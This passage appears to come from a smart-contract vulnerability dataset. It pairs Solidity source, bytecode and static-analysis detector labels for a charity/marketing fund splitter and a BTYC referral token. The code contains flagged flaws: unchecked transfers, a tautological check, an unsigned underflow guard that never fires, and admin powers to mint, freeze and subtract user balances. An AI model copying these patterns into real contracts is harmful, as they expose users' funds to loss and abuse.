0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { function transfer(address _to, uint256 _amount) external returns (bool); function balanceOf(address _account) external view returns (uint256); } contract LobbyTokenomicsV2 is Ownable { using SafeMath for uint256; address payable public charityWalletAddress; address payable public marketingWalletAddress; uint256 marketingPercentage; // integer value from 0 to 100 constructor(address payable charityWallet, address payable marketingWallet) public { charityWalletAddress = charityWallet; marketingWalletAddress = marketingWallet; } function setCharityWalletAddress(address payable charity) external onlyOwner { charityWalletAddress = charity; } function setMarketingWalletAddress(address payable marketing) external onlyOwner { marketingWalletAddress = marketing; } function setMarketingPercentage(uint256 percentage) external onlyOwner { require(percentage >= 0 && percentage <= 100, "Invalid percentage"); marketingPercentage = percentage; } function distributeFunds() public { if (address(this).balance > 0) { uint256 balance = address(this).balance; uint256 marketingShare = balance .mul(marketingPercentage) .div(100); uint256 charityShare = balance.sub(marketingShare); (bool successC, ) = charityWalletAddress.call{value: charityShare}(""); (bool successM, ) = marketingWalletAddress.call{value: marketingShare}(""); require(successC && successM, "Transfer failed."); } } receive() external payable {} // Allow owner to withdraw tokens sent by mistake to the contract function withdrawToken(address token) external onlyOwner { IERC20 tokenContract = IERC20(token); tokenContract.transfer(msg.sender, tokenContract.balanceOf(address(this))); } }
0x6080604052600436106100955760003560e01c80638da5cb5b116100595780638da5cb5b1461012d5780638f95a44514610158578063d158272d14610178578063ec271be21461018d578063f2fde38b146101a25761009c565b80632d4ed650146100a15780633a6a4d2e146100c35780634cb80fd5146100d8578063715018a6146100f8578063894760691461010d5761009c565b3661009c57005b600080fd5b3480156100ad57600080fd5b506100c16100bc366004610817565b6101c2565b005b3480156100cf57600080fd5b506100c1610230565b3480156100e457600080fd5b506100c16100f33660046107db565b610369565b34801561010457600080fd5b506100c16103ca565b34801561011957600080fd5b506100c16101283660046107db565b610413565b34801561013957600080fd5b5061014261054e565b60405161014f919061084a565b60405180910390f35b34801561016457600080fd5b506100c16101733660046107db565b61055d565b34801561018457600080fd5b506101426105be565b34801561019957600080fd5b506101426105cd565b3480156101ae57600080fd5b506100c16101bd3660046107db565b6105dc565b6101ca61064d565b6001600160a01b03166101db61054e565b6001600160a01b03161461020a5760405162461bcd60e51b81526004016102019061097d565b60405180910390fd5b606481111561022b5760405162461bcd60e51b815260040161020190610910565b600355565b4715610367576000479050600061025d60646102576003548561065190919063ffffffff16565b9061069f565b9050600061026b83836106e1565b6001546040519192506000916001600160a01b0390911690839061028e90610847565b60006040518083038185875af1925050503d80600081146102cb576040519150601f19603f3d011682016040523d82523d6000602084013e6102d0565b606091505b50506002546040519192506000916001600160a01b039091169085906102f590610847565b60006040518083038185875af1925050503d8060008114610332576040519150601f19603f3d011682016040523d82523d6000602084013e610337565b606091505b505090508180156103455750805b6103615760405162461bcd60e51b8152600401610201906109b2565b50505050505b565b61037161064d565b6001600160a01b031661038261054e565b6001600160a01b0316146103a85760405162461bcd60e51b81526004016102019061097d565b600280546001600160a01b0319166001600160a01b0392909216919091179055565b6103d261064d565b6001600160a01b03166103e361054e565b6001600160a01b0316146104095760405162461bcd60e51b81526004016102019061097d565b6103676000610723565b61041b61064d565b6001600160a01b031661042c61054e565b6001600160a01b0316146104525760405162461bcd60e51b81526004016102019061097d565b6040516370a0823160e01b815281906001600160a01b0382169063a9059cbb90339083906370a082319061048a90309060040161084a565b60206040518083038186803b1580156104a257600080fd5b505afa1580156104b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104da919061082f565b6040518363ffffffff1660e01b81526004016104f792919061085e565b602060405180830381600087803b15801561051157600080fd5b505af1158015610525573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061054991906107f7565b505050565b6000546001600160a01b031690565b61056561064d565b6001600160a01b031661057661054e565b6001600160a01b03161461059c5760405162461bcd60e51b81526004016102019061097d565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6002546001600160a01b031681565b6001546001600160a01b031681565b6105e461064d565b6001600160a01b03166105f561054e565b6001600160a01b03161461061b5760405162461bcd60e51b81526004016102019061097d565b6001600160a01b0381166106415760405162461bcd60e51b8152600401610201906108ca565b61064a81610723565b50565b3390565b60008261066057506000610699565b600061066c83856109fc565b90508261067985836109dc565b146106965760405162461bcd60e51b81526004016102019061093c565b90505b92915050565b600061069683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610773565b600061069683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506107aa565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600081836107945760405162461bcd60e51b81526004016102019190610877565b5060006107a184866109dc565b95945050505050565b600081848411156107ce5760405162461bcd60e51b81526004016102019190610877565b5060006107a18486610a1b565b6000602082840312156107ec578081fd5b813561069681610a48565b600060208284031215610808578081fd5b81518015158114610696578182fd5b600060208284031215610828578081fd5b5035919050565b600060208284031215610840578081fd5b5051919050565b90565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b6000602080835283518082850152825b818110156108a357858101830151858201604001528201610887565b818111156108b45783604083870101525b50601f01601f1916929092016040019392505050565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b602080825260129082015271496e76616c69642070657263656e7461676560701b604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526010908201526f2a3930b739b332b9103330b4b632b21760811b604082015260600190565b6000826109f757634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615610a1657610a16610a32565b500290565b600082821015610a2d57610a2d610a32565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461064a57600080fdfea26469706673582212209a3a413862f975c5d0b95b438236d1ef12eeda31a84a95a92b15d761792ceb5c64736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,373
0x8e09e82d2fc0356cdc4a09d5559aa346df9e504f
pragma solidity ^ 0.4.24; // ---------------------------------------------------------------------------- // 安全的加减乘除 // ---------------------------------------------------------------------------- library SafeMath { function add(uint a, uint b) internal pure returns(uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns(uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns(uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns(uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns(uint); function balanceOf(address tokenOwner) public constant returns(uint balance); function allowance(address tokenOwner, address spender) public constant returns(uint remaining); function transfer(address to, uint tokens) public returns(bool success); function approve(address spender, uint tokens) public returns(bool success); function transferFrom(address from, address to, uint tokens) public returns(bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // 管理员 // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // 核心类 // ---------------------------------------------------------------------------- contract BTYCToken is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; uint public sellPrice; //出售价格 1枚代币换多少以太 /1000 uint public buyPrice; //购买价格 多少以太可购买1枚代币 /1000 uint public sysPrice; //挖矿的衡量值 uint public sysPer; //挖矿的增量百分比 /100 uint public givecandyto; //奖励新人 uint public givecandyfrom; //奖励推荐人 uint public candyper; //转账多少给奖励 bool public actived; uint public sendPer; //转账分佣百分比 uint public sendPer2; //转账分佣百分比 uint public sendPer3; //转账分佣百分比 uint public sendfrozen; //转账冻结百分比 uint public onceOuttime; //增量的时间 测试 uint public onceAddTime; //挖矿的时间 测试 mapping(address => uint) balances; mapping(address => uint) used; mapping(address => mapping(address => uint)) allowed; /* 冻结账户 */ mapping(address => bool) public frozenAccount; //释放 mapping(address => uint[]) public mycantime; //时间 mapping(address => uint[]) public mycanmoney; //金额 //上家地址 mapping(address => address) public fromaddr; //管理员帐号 mapping(address => bool) public admins; // 记录各个账户的增量时间 mapping(address => uint) public cronaddOf; /* 通知 */ event FrozenFunds(address target, bool frozen); // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "BTYC"; name = "BTYC Coin"; decimals = 18; _totalSupply = 86400000 ether; sellPrice = 0.000526 ether; //出售价格 1btyc can buy how much eth buyPrice = 1128 ether; //购买价格 1eth can buy how much btyc sysPrice = 766 ether; //挖矿的衡量值 sysPer = 225; //挖矿的增量百分比 /100 candyper = 1 ether; givecandyfrom = 10 ether; givecandyto = 40 ether; sendPer = 3; sendPer2 = 2; sendPer3 = 1; sendfrozen = 80; actived = true; onceOuttime = 1 days; //增量的时间 正式 onceAddTime = 10 days; //挖矿的时间 正式 //onceOuttime = 30 seconds; //增量的时间 测试 //onceAddTime = 60 seconds; //挖矿的时间 测试 balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } /* 获取用户金额 */ function balanceOf(address tokenOwner) public view returns(uint balance) { return balances[tokenOwner]; } /* * 添加金额,为了统计用户的进出 */ function addmoney(address _addr, uint256 _money, uint _day) private { uint256 _days = _day * (1 days); uint256 _now = now - _days; mycanmoney[_addr].push(_money); mycantime[_addr].push(_now); if(balances[_addr] >= sysPrice && cronaddOf[_addr] < 1) { cronaddOf[_addr] = now + onceAddTime; } } /* * 用户金额减少时的触发 * @param {Object} address */ function reducemoney(address _addr, uint256 _money) private { used[_addr] += _money; if(balances[_addr] < sysPrice) { cronaddOf[_addr] = 0; } } /* * 获取用户的挖矿时间 * @param {Object} address */ function getaddtime(address _addr) public view returns(uint) { if(cronaddOf[_addr] < 1) { return(now + onceAddTime); } return(cronaddOf[_addr]); } /* * 获取用户的可用金额 * @param {Object} address */ function getcanuse(address tokenOwner) public view returns(uint balance) { uint256 _now = now; uint256 _left = 0; if(tokenOwner == owner) { return(balances[owner]); } for(uint256 i = 0; i < mycantime[tokenOwner].length; i++) { uint256 stime = mycantime[tokenOwner][i]; uint256 smoney = mycanmoney[tokenOwner][i]; uint256 lefttimes = _now - stime; if(lefttimes >= onceOuttime) { uint256 leftpers = lefttimes / onceOuttime; if(leftpers > 100) { leftpers = 100; } _left = smoney * leftpers / 100 + _left; } } _left = _left - used[tokenOwner]; if(_left < 0) { return(0); } if(_left > balances[tokenOwner]) { return(balances[tokenOwner]); } return(_left); } /* * 用户转账 * @param {Object} address */ function transfer(address to, uint tokens) public returns(bool success) { require(!frozenAccount[msg.sender]); require(!frozenAccount[to]); require(actived == true); uint256 canuse = getcanuse(msg.sender); require(canuse >= tokens); // require(msg.sender != to); //如果用户没有上家 if(fromaddr[to] == address(0)) { //指定上家地址 fromaddr[to] = msg.sender; //如果转账金额大于糖果的标准值 if(tokens >= candyper) { if(givecandyfrom > 0) { balances[msg.sender] = balances[msg.sender].sub(tokens).add(givecandyfrom); //balances[owner] = balances[owner].sub(givecandyfrom); //控制总额度,不空投 reducemoney(msg.sender, tokens); addmoney(msg.sender, givecandyfrom, 0); } if(givecandyto > 0) { tokens += givecandyto; //balances[owner] = balances[owner].sub(givecandyto); //控制总额度,不空投 } } else { balances[msg.sender] = balances[msg.sender].sub(tokens); reducemoney(msg.sender, tokens); } balances[to] = balances[to].add(tokens); addmoney(to, tokens, 0); //tokens = candyuser(msg.sender, to, tokens); } else { //先减掉转账的 balances[msg.sender] = balances[msg.sender].sub(tokens); reducemoney(msg.sender, tokens); if(sendPer > 0 && sendPer <= 100) { //上家分润 uint addfroms = tokens * sendPer / 100; address topuser1 = fromaddr[to]; balances[topuser1] = balances[topuser1].add(addfroms); addmoney(topuser1, addfroms, 0); //balances[owner] = balances[owner].sub(addfroms); //控制总额度,空投 //如果存在第二层 if(sendPer2 > 0 && sendPer2 <= 100 && fromaddr[topuser1] != address(0)) { uint addfroms2 = tokens * sendPer2 / 100; address topuser2 = fromaddr[topuser1]; balances[topuser2] = balances[topuser2].add(addfroms2); addmoney(topuser2, addfroms2, 0); //balances[owner] = balances[owner].sub(addfroms2); //控制总额度,空投 //如果存在第三层 if(sendPer3 > 0 && sendPer3 <= 100 && fromaddr[topuser2] != address(0)) { uint addfroms3 = tokens * sendPer3 / 100; address topuser3 = fromaddr[topuser2]; balances[topuser3] = balances[topuser3].add(addfroms3); addmoney(topuser3, addfroms3, 0); //balances[owner] = balances[owner].sub(addfroms3); //控制总额度,空投 } } //emit Transfer(owner, msg.sender, addfroms); } balances[to] = balances[to].add(tokens); if(sendfrozen > 0 && sendfrozen <= 100) { addmoney(to, tokens, 100 - sendfrozen); } else { addmoney(to, tokens, 0); } } emit Transfer(msg.sender, to, tokens); return true; } /* * 获取真实值 * @param {Object} uint */ function getnum(uint num) public view returns(uint) { return(num * 10 ** uint(decimals)); } /* * 获取上家地址 * @param {Object} address */ function getfrom(address _addr) public view returns(address) { return(fromaddr[_addr]); } function approve(address spender, uint tokens) public returns(bool success) { require(admins[msg.sender] == true); allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } /* * 授权转账 * @param {Object} address */ function transferFrom(address from, address to, uint tokens) public returns(bool success) { require(actived == true); require(!frozenAccount[from]); require(!frozenAccount[to]); balances[from] = balances[from].sub(tokens); reducemoney(from, tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); addmoney(to, tokens, 0); emit Transfer(from, to, tokens); return true; } /* * 获取授权信息 * @param {Object} address */ function allowance(address tokenOwner, address spender) public view returns(uint remaining) { return allowed[tokenOwner][spender]; } /* * 授权 * @param {Object} address */ function approveAndCall(address spender, uint tokens, bytes data) public returns(bool success) { require(admins[msg.sender] == true); allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } /// 冻结 or 解冻账户 function freezeAccount(address target, bool freeze) public { require(admins[msg.sender] == true); frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } /* * 设置管理员 * @param {Object} address */ function admAccount(address target, bool freeze) onlyOwner public { admins[target] = freeze; } /* * 系统设置 * @param {Object} uint */ function setPrices(uint newonceaddtime, uint newonceouttime, uint newBuyPrice, uint newSellPrice, uint systyPrice, uint sysPermit, uint sysgivefrom, uint sysgiveto, uint sysgiveper, uint syssendfrozen, uint syssendper1, uint syssendper2, uint syssendper3) public { require(admins[msg.sender] == true); onceAddTime = newonceaddtime; onceOuttime = newonceouttime; buyPrice = newBuyPrice; sellPrice = newSellPrice; sysPrice = systyPrice; sysPer = sysPermit; givecandyfrom = sysgivefrom; givecandyto = sysgiveto; candyper = sysgiveper; sendfrozen = syssendfrozen; sendPer = syssendper1; sendPer2 = syssendper2; sendPer3 = syssendper3; } /* * 获取系统设置 */ function getprice() public view returns(uint addtime, uint outtime, uint bprice, uint spice, uint sprice, uint sper, uint givefrom, uint giveto, uint giveper, uint sdfrozen, uint sdper1, uint sdper2, uint sdper3) { addtime = onceAddTime; outtime = onceOuttime; bprice = buyPrice; spice = sellPrice; sprice = sysPrice; sper = sysPer; givefrom = givecandyfrom; giveto = givecandyto; giveper = candyper; sdfrozen = sendfrozen; sdper1 = sendPer; sdper2 = sendPer2; sdper3 = sendPer3; } /* * 设置是否开启 * @param {Object} bool */ function setactive(bool tags) public onlyOwner { actived = tags; } /* * 获取总发行 */ function totalSupply() public view returns(uint) { return _totalSupply.sub(balances[address(0)]); } /* * 向指定账户拨发资金 * @param {Object} address */ function mintToken(address target, uint256 mintedAmount) public { require(!frozenAccount[target]); require(admins[msg.sender] == true); require(actived == true); balances[target] = balances[target].add(mintedAmount); addmoney(target, mintedAmount, 0); //emit Transfer(0, this, mintedAmount); emit Transfer(owner, target, mintedAmount); } /* * 用户每隔10天挖矿一次 */ function mint() public { require(!frozenAccount[msg.sender]); require(actived == true); require(cronaddOf[msg.sender] > 0); require(now > cronaddOf[msg.sender]); require(balances[msg.sender] >= sysPrice); uint256 mintAmount = balances[msg.sender] * sysPer / 10000; balances[msg.sender] = balances[msg.sender].add(mintAmount); //balances[owner] = balances[owner].sub(mintAmount); cronaddOf[msg.sender] = now + onceAddTime; emit Transfer(owner, msg.sender, mintAmount); } /* * 获取总账目 */ function getall() public view returns(uint256 money) { money = address(this).balance; } /* * 购买 */ function buy() public payable returns(uint256 amount) { require(actived == true); require(!frozenAccount[msg.sender]); require(msg.value > 0); uint256 money = msg.value / (10 ** uint(decimals)); amount = money * buyPrice; require(balances[owner] > amount); balances[msg.sender] = balances[msg.sender].add(amount); //balances[owner] = balances[owner].sub(amount); addmoney(msg.sender, amount, 0); //address(this).transfer(msg.value); emit Transfer(owner, msg.sender, amount); return(amount); } /* * 系统充值 */ function charge() public payable returns(bool) { //require(actived == true); return(true); } function() payable public { buy(); } /* * 系统提现 * @param {Object} address */ function withdraw(address _to) public onlyOwner { require(actived == true); require(!frozenAccount[_to]); _to.transfer(address(this).balance); } /* * 出售 * @param {Object} uint256 */ function sell(uint256 amount) public returns(bool success) { require(actived == true); require(!frozenAccount[msg.sender]); require(amount > 0); uint256 canuse = getcanuse(msg.sender); require(canuse >= amount); require(balances[msg.sender] > amount); uint moneys = (amount * sellPrice) / 10 ** uint(decimals); require(address(this).balance > moneys); msg.sender.transfer(moneys); reducemoney(msg.sender, amount); balances[msg.sender] = balances[msg.sender].sub(amount); //balances[owner] = balances[owner].add(amount); emit Transfer(owner, msg.sender, moneys); return(true); } /* * 批量发币 * @param {Object} address */ function addBalances(address[] recipients, uint256[] moenys) public{ require(admins[msg.sender] == true); uint256 sum = 0; for(uint256 i = 0; i < recipients.length; i++) { balances[recipients[i]] = balances[recipients[i]].add(moenys[i]); addmoney(recipients[i], moenys[i], 0); sum = sum.add(moenys[i]); } balances[owner] = balances[owner].sub(sum); } /* * 批量减币 * @param {Object} address */ function subBalances(address[] recipients, uint256[] moenys) public{ require(admins[msg.sender] == true); uint256 sum = 0; for(uint256 i = 0; i < recipients.length; i++) { balances[recipients[i]] = balances[recipients[i]].sub(moenys[i]); reducemoney(recipients[i], moenys[i]); sum = sum.add(moenys[i]); } balances[owner] = balances[owner].add(sum); } }
0x6080604052600436106102715763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461027c578063073e1fa314610306578063095ea7b31461032d5780630eea10b1146103655780630fcb59841461037a5780631249c58b146103f457806316496a151461040b57806318160ddd146104205780631c4817671461043557806323b872dd1461044a578063313ce56714610474578063323d5c681461049f57806332eb5e44146104b4578063332559d3146104d5578063429b62e5146104f657806345f536f71461051757806346e360601461052c578063478904eb146105ba5780634b750334146105f757806351cff8d91461060c57806353cc3e7a1461062d578063551619131461064257806355d374e91461064a5780635a2423491461068b5780636f54e4df146106af57806370a08231146106c457806379ba5097146106e557806379c65068146106fa5780638620410b1461071e5780638da5cb5b14610733578063909747951461074857806395d89b411461075d5780639f8adeb814610772578063a6f2ae3a14610787578063a9059cbb1461078f578063b414d4b6146107b3578063cae9ca51146107d4578063ccd1c06c1461083d578063ceaf0bfb1461085e578063d4ee1d9014610884578063dbbabdfe14610899578063dd62ed3e146108b1578063ddf0c070146108d8578063e4849b3214610966578063e724529c1461097e578063e736f03c146109a4578063e987cc45146109b9578063edf049f7146109da578063f1c22ca2146109ef578063f2fde38b14610a13578063f43a72b014610a34578063f9589eb314610a4e575b610279610a63565b50005b34801561028857600080fd5b50610291610b5e565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102cb5781810151838201526020016102b3565b50505050905090810190601f1680156102f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561031257600080fd5b5061031b610bec565b60408051918252519081900360200190f35b34801561033957600080fd5b50610351600160a060020a0360043516602435610bf2565b604080519115158252519081900360200190f35b34801561037157600080fd5b5061031b610c7b565b34801561038657600080fd5b5061038f610c81565b604080519d8e5260208e019c909c528c8c019a909a5260608c019890985260808b019690965260a08a019490945260c089019290925260e088015261010087015261012086015261014085015261016084015261018083015251908190036101a00190f35b34801561040057600080fd5b50610409610cc3565b005b34801561041757600080fd5b5061031b610dc9565b34801561042c57600080fd5b5061031b610dcf565b34801561044157600080fd5b5061031b610e12565b34801561045657600080fd5b50610351600160a060020a0360043581169060243516604435610e18565b34801561048057600080fd5b50610489610fab565b6040805160ff9092168252519081900360200190f35b3480156104ab57600080fd5b5061031b610fb4565b3480156104c057600080fd5b5061031b600160a060020a0360043516610fba565b3480156104e157600080fd5b5061031b600160a060020a0360043516611006565b34801561050257600080fd5b50610351600160a060020a03600435166111a0565b34801561052357600080fd5b5061031b6111b5565b34801561053857600080fd5b506040805160206004803580820135838102808601850190965280855261040995369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506111bb9650505050505050565b3480156105c657600080fd5b506105db600160a060020a0360043516611332565b60408051600160a060020a039092168252519081900360200190f35b34801561060357600080fd5b5061031b61134d565b34801561061857600080fd5b50610409600160a060020a0360043516611353565b34801561063957600080fd5b5061031b6113de565b6103516113e4565b34801561065657600080fd5b5061040960043560243560443560643560843560a43560c43560e43561010435610124356101443561016435610184356113e9565b34801561069757600080fd5b5061031b600160a060020a0360043516602435611445565b3480156106bb57600080fd5b5061031b611475565b3480156106d057600080fd5b5061031b600160a060020a036004351661147b565b3480156106f157600080fd5b50610409611496565b34801561070657600080fd5b50610409600160a060020a036004351660243561151e565b34801561072a57600080fd5b5061031b611602565b34801561073f57600080fd5b506105db611608565b34801561075457600080fd5b5061031b611617565b34801561076957600080fd5b5061029161161c565b34801561077e57600080fd5b5061031b611674565b61031b610a63565b34801561079b57600080fd5b50610351600160a060020a036004351660243561167a565b3480156107bf57600080fd5b50610351600160a060020a0360043516611b66565b3480156107e057600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610351948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750611b7b9650505050505050565b34801561084957600080fd5b5061031b600160a060020a0360043516611cfe565b34801561086a57600080fd5b50610409600160a060020a03600435166024351515611d10565b34801561089057600080fd5b506105db611d52565b3480156108a557600080fd5b5061031b600435611d61565b3480156108bd57600080fd5b5061031b600160a060020a0360043581169060243516611d6e565b3480156108e457600080fd5b506040805160206004803580820135838102808601850190965280855261040995369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750949750611d999650505050505050565b34801561097257600080fd5b50610351600435611edc565b34801561098a57600080fd5b50610409600160a060020a03600435166024351515612026565b3480156109b057600080fd5b506103516120ab565b3480156109c557600080fd5b506105db600160a060020a03600435166120b4565b3480156109e657600080fd5b5061031b6120d2565b3480156109fb57600080fd5b5061031b600160a060020a03600435166024356120d8565b348015610a1f57600080fd5b50610409600160a060020a03600435166120f3565b348015610a4057600080fd5b506104096004351515612139565b348015610a5a57600080fd5b5061031b612163565b600d54600090819060ff161515600114610a7c57600080fd5b3360009081526017602052604090205460ff1615610a9957600080fd5b60003411610aa657600080fd5b60045460ff16600a0a34811515610ab957fe5b60075460008054600160a060020a031681526014602052604090205492909104908102935091508210610aeb57600080fd5b33600090815260146020526040902054610b0b908363ffffffff61216916565b33600081815260146020526040812092909255610b29918490612179565b6000546040805184815290513392600160a060020a031691600080516020612298833981519152919081900360200190a35090565b6003805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610be45780601f10610bb957610100808354040283529160200191610be4565b820191906000526020600020905b815481529060010190602001808311610bc757829003601f168201915b505050505081565b600b5481565b336000908152601b602052604081205460ff161515600114610c1357600080fd5b336000818152601660209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060015b92915050565b60095481565b601354601254600754600654600854600954600b54600a54600c54601154600e54600f546010549b9c9a9b999a98999798969795969495939492939192909190565b3360009081526017602052604081205460ff1615610ce057600080fd5b600d5460ff161515600114610cf457600080fd5b336000908152601c602052604081205411610d0e57600080fd5b336000908152601c60205260409020544211610d2957600080fd5b600854336000908152601460205260409020541015610d4757600080fd5b50600954336000908152601460205260409020546127109181029190910490610d709082612169565b33600081815260146020908152604080832094909455601354601c82528483204290910190559054835185815293519293600160a060020a0390911692600080516020612298833981519152929181900390910190a350565b60135481565b600080805260146020527f4f26c3876aa9f4b92579780beea1161a61f87ebf1ec6ee865b299e447ecba99c54600554610e0d9163ffffffff61223416565b905090565b60115481565b600d5460009060ff161515600114610e2f57600080fd5b600160a060020a03841660009081526017602052604090205460ff1615610e5557600080fd5b600160a060020a03831660009081526017602052604090205460ff1615610e7b57600080fd5b600160a060020a038416600090815260146020526040902054610ea4908363ffffffff61223416565b600160a060020a038516600090815260146020526040902055610ec78483612249565b600160a060020a0384166000908152601660209081526040808320338452909152902054610efb908363ffffffff61223416565b600160a060020a038086166000908152601660209081526040808320338452825280832094909455918616815260149091522054610f3f908363ffffffff61216916565b600160a060020a038416600090815260146020526040812091909155610f689084908490612179565b82600160a060020a031684600160a060020a0316600080516020612298833981519152846040518082815260200191505060405180910390a35060019392505050565b60045460ff1681565b600e5481565b600160a060020a0381166000908152601c602052604081205460011115610fe657506013544201611001565b50600160a060020a0381166000908152601c60205260409020545b919050565b600080544290829081908190819081908190600160a060020a038a81169116141561104b5760008054600160a060020a03168152601460205260409020549750611194565b600094505b600160a060020a03891660009081526018602052604090205485101561112357600160a060020a038916600090815260186020526040902080548690811061109457fe5b90600052602060002001549350601960008a600160a060020a0316600160a060020a03168152602001908152602001600020858154811015156110d357fe5b9060005260206000200154925083870391506012548210151561111857601254828115156110fd57fe5b049050606481111561110d575060645b856064848302040195505b600190940193611050565b600160a060020a038916600090815260156020526040812054909603958610156111505760009750611194565b600160a060020a03891660009081526014602052604090205486111561119057600160a060020a0389166000908152601460205260409020549750611194565b8597505b50505050505050919050565b601b6020526000908152604090205460ff1681565b600f5481565b336000908152601b6020526040812054819060ff1615156001146111de57600080fd5b5060009050805b83518110156112ea5761124a83828151811015156111ff57fe5b9060200190602002015160146000878581518110151561121b57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff61223416565b60146000868481518110151561125c57fe5b6020908102909101810151600160a060020a031682528101919091526040016000205583516112b89085908390811061129157fe5b9060200190602002015184838151811015156112a957fe5b90602001906020020151612249565b6112e083828151811015156112c957fe5b60209081029091010151839063ffffffff61216916565b91506001016111e5565b60008054600160a060020a0316815260146020526040902054611313908363ffffffff61216916565b60008054600160a060020a031681526014602052604090205550505050565b601a60205260009081526040902054600160a060020a031681565b60065481565b600054600160a060020a0316331461136a57600080fd5b600d5460ff16151560011461137e57600080fd5b600160a060020a03811660009081526017602052604090205460ff16156113a457600080fd5b604051600160a060020a03821690303180156108fc02916000818181858888f193505050501580156113da573d6000803e3d6000fd5b5050565b60085481565b600190565b336000908152601b602052604090205460ff16151560011461140a57600080fd5b60139c909c5560129a909a55600798909855600696909655600894909455600992909255600b55600a55600c55601155600e55600f55601055565b60186020528160005260406000208181548110151561146057fe5b906000526020600020016000915